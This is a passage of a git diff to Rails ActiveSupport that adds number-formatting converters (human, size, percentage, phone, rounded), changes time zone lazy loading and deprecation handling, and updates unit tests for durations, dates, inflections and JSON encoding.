+ def determine_unit(units, exponent)
+ exp = DECIMAL_UNITS[exponent]
+ case units
+ when Hash
+ units[exp] || ''
+ when String, Symbol
+ I18n.translate("#{units}.#{exp}", :locale => options[:locale], :count => number.to_i)
+ else
+ translate_in_locale("human.decimal_units.units.#{exp}", count: number.to_i)
+ end
+ end
+
+ def calculate_exponent(units)
+ exponent = number != 0 ? Math.log10(number.abs).floor : 0
+ unit_exponents(units).find { |e| exponent >= e } || 0
+ end
+
+ def unit_exponents(units)
+ case units
+ when Hash
+ units
+ when String, Symbol
+ I18n.translate(units.to_s, :locale => options[:locale], :raise => true)
+ when nil
+ translate_in_locale("human.decimal_units.units", raise: true)
+ else
+ raise ArgumentError, ":units must be a Hash or String translation scope."
+ end.keys.map { |e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by { |e| -e }
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
new file mode 100644
index 0000000000..d1335f6910
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
@@ -0,0 +1,58 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToHumanSizeConverter < NumberConverter
+ STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+
+ self.namespace = :human
+ self.validate_float = true
+
+ def convert
+ @number = Float(number)
+
+ # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ unless options.key?(:strip_insignificant_zeros)
+ options[:strip_insignificant_zeros] = true
+ end
+
+ if smaller_than_base?
+ number_to_format = number.to_i.to_s
+ else
+ human_size = number / (base ** exponent)
+ number_to_format = NumberToRoundedConverter.convert(human_size, options)
+ end
+ conversion_format.gsub(/%n/, number_to_format).gsub(/%u/, unit)
+ end
+
+ private
+
+ def conversion_format
+ translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
+ end
+
+ def unit
+ translate_number_value_with_default(storage_unit_key, :locale => options[:locale], :count => number.to_i, :raise => true)
+ end
+
+ def storage_unit_key
+ key_end = smaller_than_base? ? 'byte' : STORAGE_UNITS[exponent]
+ "human.storage_units.units.#{key_end}"
+ end
+
+ def exponent
+ max = STORAGE_UNITS.size - 1
+ exp = (Math.log(number) / Math.log(base)).to_i
+ exp = max if exp > max # avoid overflow for the highest unit
+ exp
+ end
+
+ def smaller_than_base?
+ number.to_i < base
+ end
+
+ def base
+ opts[:prefix] == :si ? 1000 : 1024
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
new file mode 100644
index 0000000000..eafe2844f7
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
@@ -0,0 +1,12 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToPercentageConverter < NumberConverter # :nodoc:
+ self.namespace = :percentage
+
+ def convert
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ options[:format].gsub('%n', rounded_number)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
new file mode 100644
index 0000000000..4c33c30772
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
@@ -0,0 +1,49 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToPhoneConverter < NumberConverter
+ def convert
+ str = country_code(opts[:country_code])
+ str << convert_to_phone_number(number.to_s.strip)
+ str << phone_ext(opts[:extension])
+ end
+
+ private
+
+ def convert_to_phone_number(number)
+ if opts[:area_code]
+ convert_with_area_code(number)
+ else
+ convert_without_area_code(number)
+ end
+ end
+
+ def convert_with_area_code(number)
+ number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
+ number
+ end
+
+ def convert_without_area_code(number)
+ number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+ number.slice!(0, 1) if start_with_delimiter?(number)
+ number
+ end
+
+ def start_with_delimiter?(number)
+ delimiter.present? && number.start_with?(delimiter)
+ end
+
+ def delimiter
+ opts[:delimiter] || "-"
+ end
+
+ def country_code(code)
+ code.blank? ? "" : "+#{code}#{delimiter}"
+ end
+
+ def phone_ext(ext)
+ ext.blank? ? "" : " x #{ext}"
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
new file mode 100644
index 0000000000..273667fdae
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
@@ -0,0 +1,62 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToRoundedConverter < NumberConverter # :nodoc:
+ self.namespace = :precision
+ self.validate_float = true
+
+ def convert
+ @number = Float(number)
+
+ precision = options.delete :precision
+ significant = options.delete :significant
+
+ if significant && precision > 0
+ digits, rounded_number = digits_and_rounded_number(precision)
+ precision -= digits
+ precision = 0 if precision < 0 # don't let it be negative
+ else
+ rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
+ rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
+ end
+
+ delimited_number = NumberToDelimitedConverter.convert("%01.#{precision}f" % rounded_number, options)
+ format_number(delimited_number)
+ end
+
+ private
+
+ def digits_and_rounded_number(precision)
+ if number.zero?
+ [1, 0]
+ else
+ digits = digit_count(number)
+ multiplier = 10 ** (digits - precision)
+ rounded_number = calculate_rounded_number(multiplier)
+ digits = digit_count(rounded_number) # After rounding, the number of digits may have changed
+ [digits, rounded_number]
+ end
+ end
+
+ def calculate_rounded_number(multiplier)
+ (BigDecimal.new(number.to_s) / BigDecimal.new(multiplier.to_f.to_s)).round.to_f * multiplier
+ end
+
+ def digit_count(number)
+ (Math.log10(number.abs) + 1).floor
+ end
+
+ def strip_insignificant_zeros
+ options[:strip_insignificant_zeros]
+ end
+
+ def format_number(number)
+ if strip_insignificant_zeros
+ escaped_separator = Regexp.escape(options[:separator])
+ number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+ else
+ number
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index 18bc919734..d5c2222d2e 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/object/blank'
require 'logger'
require 'active_support/logger'
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
index 1fa73caefa..c349bb5fb1 100644
--- a/activesupport/lib/active_support/testing/declarative.rb
+++ b/activesupport/lib/active_support/testing/declarative.rb
@@ -7,11 +7,18 @@ module ActiveSupport
unless method_defined?(:describe)
def self.describe(text)
- class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def self.name
- "#{text}"
- end
- RUBY_EVAL
+ if block_given?
+ super
+ else
+ message = "`describe` without a block is deprecated, please switch to: `def self.name; #{text.inspect}; end`\n"
+ ActiveSupport::Deprecation.warn message
+
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def self.name
+ "#{text}"
+ end
+ RUBY_EVAL
+ end
end
end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
index d5d31cecbe..18c48a7e0c 100644
--- a/activesupport/lib/active_support/testing/isolation.rb
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -1,5 +1,5 @@
require 'rbconfig'
-require 'minitest/parallel_each'
+require 'minitest/parallel'
module ActiveSupport
module Testing
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index 3cf82a24b9..a22e61d286 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -1,3 +1,4 @@
+require 'thread_safe'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/try'
@@ -184,6 +185,8 @@ module ActiveSupport
UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
+ @lazy_zones_map = ThreadSafe::Cache.new
+
# Assumes self represents an offset from UTC in seconds (as returned from
# Time#utc_offset) and turns this into an +HH:MM formatted string.
#
@@ -314,6 +317,16 @@ module ActiveSupport
tzinfo.now.to_date
end
+ # Returns the next date in this time zone.
+ def tomorrow
+ today + 1
+ end
+
+ # Returns the previous date in this time zone.
+ def yesterday
+ today - 1
+ end
+
# Adjust the given time to the simultaneous time in the time zone
# represented by +self+. Returns a Time.utc() instance -- if you want an
# ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
@@ -362,10 +375,8 @@ module ActiveSupport
def zones_map
@zones_map ||= begin
- new_zones_names = MAPPING.keys - lazy_zones_map.keys
- new_zones = Hash[new_zones_names.map { |place| [place, create(place)] }]
-
- lazy_zones_map.merge(new_zones)
+ MAPPING.each_key {|place| self[place]} # load all the zones
+ @lazy_zones_map
end
end
@@ -378,7 +389,7 @@ module ActiveSupport
case arg
when String
begin
- lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
+ lazy_zones_map[arg] ||= create(arg).tap { |tz| tz.utc_offset }
rescue TZInfo::InvalidTimezoneIdentifier
nil
end
@@ -407,16 +418,9 @@ module ActiveSupport
private
- def lookup(name)
- (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
- end
-
def lazy_zones_map
require_tzinfo
-
- @lazy_zones_map ||= Hash.new do |hash, place|
- hash[place] = create(place) if MAPPING.has_key?(place)
- end
+ @lazy_zones_map
end
end
diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb
deleted file mode 100644
index 3bc948f3a6..0000000000
--- a/activesupport/test/core_ext/class/attribute_accessor_test.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/class/attribute_accessors'
-
-class ClassAttributeAccessorTest < ActiveSupport::TestCase
- def setup
- @class = Class.new do
- cattr_accessor :foo
- cattr_accessor :bar, :instance_writer => false
- cattr_reader :shaq, :instance_reader => false
- cattr_accessor :camp, :instance_accessor => false
- cattr_accessor(:defa) { 'default_accessor_value' }
- cattr_reader(:defr) { 'default_reader_value' }
- cattr_writer(:defw) { 'default_writer_value' }
- end
- @object = @class.new
- end
-
- def test_should_use_mattr_default
- assert_nil @class.foo
- assert_nil @object.foo
- end
-
- def test_should_set_mattr_value
- @class.foo = :test
- assert_equal :test, @object.foo
-
- @object.foo = :test2
- assert_equal :test2, @class.foo
- end
-
- def test_should_not_create_instance_writer
- assert_respond_to @class, :foo
- assert_respond_to @class, :foo=
- assert_respond_to @object, :bar
- assert !@object.respond_to?(:bar=)
- end
-
- def test_should_not_create_instance_reader
- assert_respond_to @class, :shaq
- assert !@object.respond_to?(:shaq)
- end
-
- def test_should_not_create_instance_accessors
- assert_respond_to @class, :camp
- assert !@object.respond_to?(:camp)
- assert !@object.respond_to?(:camp=)
- end
-
- def test_should_raise_name_error_if_attribute_name_is_invalid
- exception = assert_raises NameError do
- Class.new do
- cattr_reader "1nvalid"
- end
- end
- assert_equal "invalid class attribute name: 1nvalid", exception.message
-
- exception = assert_raises NameError do
- Class.new do
- cattr_writer "1nvalid"
- end
- end
- assert_equal "invalid class attribute name: 1nvalid", exception.message
- end
-
- def test_should_use_default_value_if_block_passed
- assert_equal 'default_accessor_value', @class.defa
- assert_equal 'default_reader_value', @class.defr
- assert_equal 'default_writer_value', @class.class_variable_get('@@defw')
- end
-end
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index eab3aa7a6e..5d0af035cc 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -276,6 +276,23 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_all_week
+ assert_equal Date.new(2011,6,6)..Date.new(2011,6,12), Date.new(2011,6,7).all_week
+ assert_equal Date.new(2011,6,5)..Date.new(2011,6,11), Date.new(2011,6,7).all_week(:sunday)
+ end
+
+ def test_all_month
+ assert_equal Date.new(2011,6,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_month
+ end
+
+ def test_all_quarter
+ assert_equal Date.new(2011,4,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_quarter
+ end
+
+ def test_all_year
+ assert_equal Date.new(2011,1,1)..Date.new(2011,12,31), Date.new(2011,6,7).all_year
+ end
+
def test_xmlschema
with_env_tz 'US/Eastern' do
assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
index ed267cf4b9..8eae8c832c 100644
--- a/activesupport/test/core_ext/duration_test.rb
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -71,6 +71,19 @@ class DurationTest < ActiveSupport::TestCase
assert_equal 86400 * 1.7, 1.7.days
end
+ def test_since_and_ago
+ t = Time.local(2000)
+ assert t + 1, 1.second.since(t)
+ assert t - 1, 1.second.ago(t)
+ end
+
+ def test_since_and_ago_without_argument
+ now = Time.now
+ assert 1.second.since >= now + 1
+ now = Time.now
+ assert 1.second.ago >= now - 1
+ end
+
def test_since_and_ago_with_fractional_days
t = Time.local(2000)
# since
@@ -96,10 +109,10 @@ class DurationTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal false, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since
# ago
- assert_equal false, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago
end
end
@@ -109,11 +122,11 @@ class DurationTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
# ago
- assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
end
@@ -145,6 +158,11 @@ class DurationTest < ActiveSupport::TestCase
assert_equal '172800', 2.days.to_json
end
+ def test_case_when
+ cased = case 1.day when 1.day then "ok" end
+ assert_equal cased, "ok"
+ end
+
protected
def with_env_tz(new_tz = 'US/Eastern')
old_tz, ENV['TZ'] = ENV['TZ'], new_tz
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index b059bc3e89..1ee9fbf46e 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -624,10 +624,15 @@ class HashExtTest < ActiveSupport::TestCase
{ :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
- assert_raise(ArgumentError, "Unknown key: failore") do
+ exception = assert_raise ArgumentError do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
+ end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+ exception = assert_raise ArgumentError do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
end
def test_assorted_keys_not_stringified
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
index b8951de402..18b251173f 100644
--- a/activesupport/test/core_ext/kernel_test.rb
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -38,6 +38,22 @@ class KernelTest < ActiveSupport::TestCase
# Skip if we can't STDERR.tell
end
+ def test_silence_stream
+ old_stream_position = STDOUT.tell
+ silence_stream(STDOUT) { STDOUT.puts 'hello world' }
+ assert_equal old_stream_position, STDOUT.tell
+ rescue Errno::ESPIPE
+ # Skip if we can't stream.tell
+ end
+
+ def test_silence_stream_closes_file_descriptors
+ stream = StringIO.new
+ dup_stream = StringIO.new
+ stream.stubs(:dup).returns(dup_stream)
+ dup_stream.expects(:close)
+ silence_stream(stream) { stream.puts 'hello world' }
+ end
+
def test_quietly
old_stdout_position, old_stderr_position = STDOUT.tell, STDERR.tell
quietly do
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
index a577f90bdd..48f3cc579f 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -8,6 +8,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
mattr_accessor :bar, :instance_writer => false
mattr_reader :shaq, :instance_reader => false
mattr_accessor :camp, :instance_accessor => false
+
+ cattr_accessor(:defa) { 'default_accessor_value' }
+ cattr_reader(:defr) { 'default_reader_value' }
+ cattr_writer(:defw) { 'default_writer_value' }
+ cattr_accessor(:quux) { :quux }
end
@class = Class.new
@class.instance_eval { include m }
@@ -27,6 +32,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
assert_equal :test2, @module.foo
end
+ def test_cattr_accessor_default_value
+ assert_equal :quux, @module.quux
+ assert_equal :quux, @object.quux
+ end
+
def test_should_not_create_instance_writer
assert_respond_to @module, :foo
assert_respond_to @module, :foo=
@@ -46,16 +56,24 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
end
def test_should_raise_name_error_if_attribute_name_is_invalid
- assert_raises NameError do
+ exception = assert_raises NameError do
Class.new do
- mattr_reader "invalid attribute name"
+ cattr_reader "1nvalid"
end
end
+ assert_equal "invalid attribute name: 1nvalid", exception.message
- assert_raises NameError do
+ exception = assert_raises NameError do
Class.new do
- mattr_writer "invalid attribute name"
+ cattr_writer "1nvalid"
end
end
+ assert_equal "invalid attribute name: 1nvalid", exception.message
+ end
+
+ def test_should_use_default_value_if_block_passed
+ assert_equal 'default_accessor_value', @module.defa
+ assert_equal 'default_reader_value', @module.defr
+ assert_equal 'default_writer_value', @module.class_variable_get('@@defw')
end
end
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
index 23bbb8d7d2..3b1dabea8d 100644
--- a/activesupport/test/core_ext/numeric_ext_test.rb
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -22,21 +22,16 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
end
end
- def test_intervals
- @seconds.values.each do |seconds|
- assert_equal seconds.since(@now), @now + seconds
- assert_equal seconds.until(@now), @now - seconds
- end
+ def test_deprecated_since_and_ago
+ assert_equal @now + 1, assert_deprecated { 1.since(@now) }
+ assert_equal @now - 1, assert_deprecated { 1.ago(@now) }
end
- # Test intervals based from Time.now
- def test_now
- @seconds.values.each do |seconds|
- now = Time.now
- assert seconds.ago >= now - seconds
- now = Time.now
- assert seconds.from_now >= now + seconds
- end
+ def test_deprecated_since_and_ago_without_argument
+ now = Time.now
+ assert assert_deprecated { 1.since } >= now + 1
+ now = Time.now
+ assert assert_deprecated { 1.ago } >= now - 1
end
def test_irregular_durations
@@ -78,10 +73,10 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
end
def test_duration_after_conversion_is_no_longer_accurate
- assert_equal 30.days.to_i.since(@now), 1.month.to_i.since(@now)
- assert_equal 365.25.days.to_f.since(@now), 1.year.to_f.since(@now)
- assert_equal 30.days.to_i.since(@dtnow), 1.month.to_i.since(@dtnow)
- assert_equal 365.25.days.to_f.since(@dtnow), 1.year.to_f.since(@dtnow)
+ assert_equal 30.days.to_i.seconds.since(@now), 1.month.to_i.seconds.since(@now)
+ assert_equal 365.25.days.to_f.seconds.since(@now), 1.year.to_f.seconds.since(@now)
+ assert_equal 30.days.to_i.seconds.since(@dtnow), 1.month.to_i.seconds.since(@dtnow)
+ assert_equal 365.25.days.to_f.seconds.since(@dtnow), 1.year.to_f.seconds.since(@dtnow)
end
def test_add_one_year_to_leap_day
@@ -94,11 +89,11 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal false, 5.since.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.local(2000,1,1,0,0,5), 5.since
+ assert_not_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.since }
+ assert_equal Time.local(2000,1,1,0,0,5), assert_deprecated { 5.since }
# ago
- assert_equal false, 5.ago.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.local(1999,12,31,23,59,55), 5.ago
+ assert_not_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.ago }
+ assert_equal Time.local(1999,12,31,23,59,55), assert_deprecated { 5.ago }
end
end
@@ -107,13 +102,13 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal true, 5.since.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.utc(2000,1,1,0,0,5), 5.since.time
- assert_equal 'Eastern Time (US & Canada)', 5.since.time_zone.name
+ assert_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.since }
+ assert_equal Time.utc(2000,1,1,0,0,5), assert_deprecated { 5.since.time }
+ assert_equal 'Eastern Time (US & Canada)', assert_deprecated { 5.since.time_zone.name }
# ago
- assert_equal true, 5.ago.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.utc(1999,12,31,23,59,55), 5.ago.time
- assert_equal 'Eastern Time (US & Canada)', 5.ago.time_zone.name
+ assert_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.ago }
+ assert_equal Time.utc(1999,12,31,23,59,55), assert_deprecated { 5.ago.time }
+ assert_equal 'Eastern Time (US & Canada)', assert_deprecated { 5.ago.time_zone.name }
end
ensure
Time.zone = nil
diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
index 854b0a38bd..6d6afc85c4 100644
--- a/activesupport/test/core_ext/range_ext_test.rb
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -42,7 +42,7 @@ class RangeTest < ActiveSupport::TestCase
assert((1...10).include?(1...10))
end
- def test_should_include_other_with_exlusive_end
+ def test_should_include_other_with_exclusive_end
assert((1..10).include?(1...10))
end
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index 2392b71960..e56bab6d4c 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -530,29 +530,21 @@ class DependenciesTest < ActiveSupport::TestCase
end
end
- def test_const_missing_should_not_double_load
- $counting_loaded_times = 0
+ def test_const_missing_in_anonymous_modules_loads_top_level_constants
with_autoloading_fixtures do
- require_dependency '././counting_loader'
- assert_equal 1, $counting_loaded_times
- assert_raise(NameError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
- assert_equal 1, $counting_loaded_times
+ # class_eval STRING pushes the class to the nesting of the eval'ed code.
+ klass = Class.new.class_eval "E"
+ assert_equal E, klass
end
end
- def test_const_missing_within_anonymous_module
- $counting_loaded_times = 0
- m = Module.new
- m.module_eval "def a() CountingLoader; end"
- extend m
+ def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object
with_autoloading_fixtures do
- kls = nil
- assert_nothing_raised { kls = a }
- assert_equal "CountingLoader", kls.name
- assert_equal 1, $counting_loaded_times
+ require_dependency 'e'
- assert_nothing_raised { kls = a }
- assert_equal 1, $counting_loaded_times
+ mod = Module.new
+ msg = 'E cannot be autoloaded from an anonymous class or module'
+ assert_raise(NameError, msg) { mod::E }
end
end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index 6184df481f..35967ba656 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -70,10 +70,11 @@ class InflectorTest < ActiveSupport::TestCase
def test_overwrite_previous_inflectors
- assert_equal("series", ActiveSupport::Inflector.singularize("series"))
- ActiveSupport::Inflector.inflections.singular "series", "serie"
- assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
- ActiveSupport::Inflector.inflections.uncountable "series" # Return to normal
+ with_dup do
+ assert_equal("series", ActiveSupport::Inflector.singularize("series"))
+ ActiveSupport::Inflector.inflections.singular "series", "serie"
+ assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
+ end
end
MixtureToTitleCase.each_with_index do |(before, titleized), index|
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index b34a946baf..4bd1b2e47c 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -63,6 +63,7 @@ module InflectorTestCases
"news" => "news",
"series" => "series",
+ "miniseries" => "miniseries",
"species" => "species",
"quiz" => "quizzes",
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index 00f43be6d4..78cf4819f9 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -18,8 +18,12 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
class Custom
- def as_json(options)
- 'custom'
+ def initialize(serialized)
+ @serialized = serialized
+ end
+
+ def as_json(options = nil)
+ @serialized
end
end
@@ -62,11 +66,11 @@ class TestJSONEncoding < ActiveSupport::TestCase
[ BigDecimal('0.0')/BigDecimal('0.0'), %(null) ],
[ BigDecimal('2.5'), %("#{BigDecimal('2.5').to_s}") ]]
- StringTests = [[ 'this is the <string>', %("this is the \\u003Cstring\\u003E")],
+ StringTests = [[ 'this is the <string>', %("this is the \\u003cstring\\u003e")],
[ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
[ 'http://test.host/posts/1', %("http://test.host/posts/1")],
- [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\342\200\250\342\200\251",
- %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000B\\f\\r\\u000E\\u000F\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001A\\u001B\\u001C\\u001D\\u001E\\u001F\\u2028\\u2029") ]]
+ [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\u2028\u2029",
+ %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f\\u2028\\u2029") ]]
ArrayTests = [[ ['a', 'b', 'c'], %([\"a\",\"b\",\"c\"]) ],
[ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
@@ -81,7 +85,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
ObjectTests = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]]
- CustomTests = [[ Custom.new, '"custom"' ]]
+ CustomTests = [[ Custom.new("custom"), '"custom"' ],
+ [ Custom.new(nil), 'null' ],
+ [ Custom.new(:a), '"a"' ],
+ [ Custom.new([ :foo, "bar" ]), '["foo","bar"]' ],
+ [ Custom.new({ :foo => "hello", :bar => "world" }), '{"bar":"world","foo":"hello"}' ],
+ [ Custom.new(Hashlike.new), '{"bar":"world","foo":"hello"}' ],
+ [ Custom.new(Custom.new(Custom.new(:a))), '"a"' ]]
RegexpTests = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']]
@@ -162,6 +172,22 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal "𐒑", decoded_hash['string']
end
+ def test_reading_encode_big_decimal_as_string_option
+ assert_deprecated do
+ assert ActiveSupport.encode_big_decimal_as_string
+ end
+ end
+
+ def test_setting_deprecated_encode_big_decimal_as_string_option
+ assert_raise(NotImplementedError) do
+ ActiveSupport.encode_big_decimal_as_string = true
+ end
+
+ assert_raise(NotImplementedError) do
+ ActiveSupport.encode_big_decimal_as_string = false
+ end
+ end
+
def test_exception_raised_when_encoding_circular_reference_in_array
a = [1]
a << a
